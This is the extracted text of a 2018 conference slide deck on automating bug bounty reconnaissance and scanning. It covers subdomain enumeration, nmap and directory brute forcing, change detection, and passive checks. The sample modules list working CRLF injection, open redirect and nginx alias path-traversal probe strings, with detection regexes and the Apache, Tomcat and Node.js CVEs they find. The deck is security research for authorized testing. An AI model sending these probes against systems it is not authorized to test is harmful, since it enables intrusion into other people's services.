4 ZN2018 WV - BugBounty Automation PDF
4 ZN2018 WV - BugBounty Automation PDF
4 ZN2018 WV - BugBounty Automation PDF
AUTOMATION
Sergey Bobrov
@Black2Fan
Why?
Program
Policy Magic Vulnerabilities
Automation
Tasks Queue
Controversial Search and
Initial Situations Analysis
whitelist.example.com
Checks
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Automation
Tasks Queue
Controversial Search and
Initial Situations Analysis
whitelist.example.com
Checks
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Subdomains Dumper
• crt.sh/?q=%.example.com
• DNS bruteforce
• Shodan API
• Virustotal API
• SubjectAltName in certificates
• Links in HTTP responses
https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html
Subdomains Dumper
Subdomains Dumper
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Initial Checks
• Screenshot
• Nmap
• Dig
• HTTP/HTTPS response
• Directory Bruteforce
Automation
Tasks Queue
Controversial Search and
Initial Situations Analysis
whitelist.example.com
Checks
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Check for changes
• CNAME
• HTTP status code
• Site of the HTTP response by 20-30%
• HTTP / HTTPS availability
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Modules
Basic principles
CRLF Injection
https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Karbutov_CRLF_PDF.pdf
Module example #1
CRLF Injection
/%0DXTest%3Acrlftest
/%0AXTest%3Acrlftest
/?%0DXTest%3Acrlftest=test
/%3F%0AXTest%3Acrlftest=test
/%0AXTest%3Acrlftest/..
Regexp
[\r\n]XTest
Module example #1
Nginx misconfiguration
Nginx misconfiguration
location ~ /v1/((?<action>[^.]*)\.json)?$ {
add_header X-Action $action; => CRLF Injection
https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md
Module example #1
CRLF Injection
/%0DXTest%3Acrlftest
/%0AXTest%3Acrlftest
/?%0DXTest%3Acrlftest=test
/%3F%0DXTest%3Acrlftest=test (works more often than others on Apache)
/%0AXTest%3Acrlftest/..
Regexp
[\r\n]XTest
Module example #1
Result:
Apache httpd mod_alias < 2.4.25 CRLF Injection (CVE-???)
Bonus:
Apache httpd mod_userdir CRLF Injection (CVE-2016-4975)
UserDir "http://example2.com/*"
Open Redirect
Redirect from /folder to /folder/
http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html
Module example #2
Open Redirect
//redirect
//redirect/%2F..
///redirect
/%5Credirect
//redirect/..;/css
Regexp
Location:\s*(?:|[\\\\\/\x09]{2,}|https?:\/\/)redirect
Module example #2
Open Redirect
//redirect
//redirect/%2F.. (works more often than others on Node.js)
///redirect
/%5Credirect
//redirect/..;/css (works more often than others on Tomcat)
Module example #2
Result:
Node.js serve-static < 1.7.2 Open Redirect (CVE-2015-1164)
Location: //google.com/%2F../
Module example #2
Result:
Apache Tomcat < 9.0.12 Open Redirect (CVE-2018-11784)
By Default:
mapperContextRootRedirectEnabled=true
mapperDirectoryRedirectEnabled=false
//example.com/..;/%existing_folder%
//example.com/..;/docs/config
//example.com/..;/examples/jsp
//%existing_folder%;@example.com (by @_skiddy44)
Location: //example.com/..;/docs/config/
Module example #2
useRelativeRedirects=false
//example.com/..;/css
Location: http://example.com/..;/css/
Module example #3
root /var/www/public/;
location /img {
alias /var/www/images/;
}
http://example.com/img../.env
/var/www/images/../.env
Module example #3
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Passive checks
Passive checks
Checks that do not require sending additional requests to the
attacked server
Dig returned a different result and the site was queued for rechecking
Vulnerability example
$1337
Unexpected vulnerabilities
Tasks Queue
Controversial Search and
Initial Situations Analysis
whitelist.example.com
Checks
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Unexpected vulnerabilities #1
WTF?
Unexpected vulnerabilities #1
http://example.com/assets-foo-bar/test.html
<Code>NoSuchBucket</Code>
<Message>The specified bucket does not exist</Message>
<BucketName>some-bucket-static-foo-bar</BucketName>
Unexpected vulnerabilities #2
WTF?
Unexpected vulnerabilities #2
Unexpected vulnerabilities #2
Timeline:
27.09.18 – Vulnerability found and sent to Yandex
xx.10.18 – Vulnerability fixed
12.11.18 – «We are unable to reproduce vulnerability»
Unexpected vulnerabilities #2
Tasks Queue
Controversial Search and
Initial Situations Analysis
whitelist.example.com
Checks
Module #1
Program Domains Passive
Database Vulnerabilities
Policy List Checks
Module #2
Check for
changes
Manual Bug Hunting
One vulnerability
==
same amount of money as for 6 months
of automated vulnerability scanning
¯\_(ツ)_/¯
THANKS FOR ATTENTION
@Black2Fan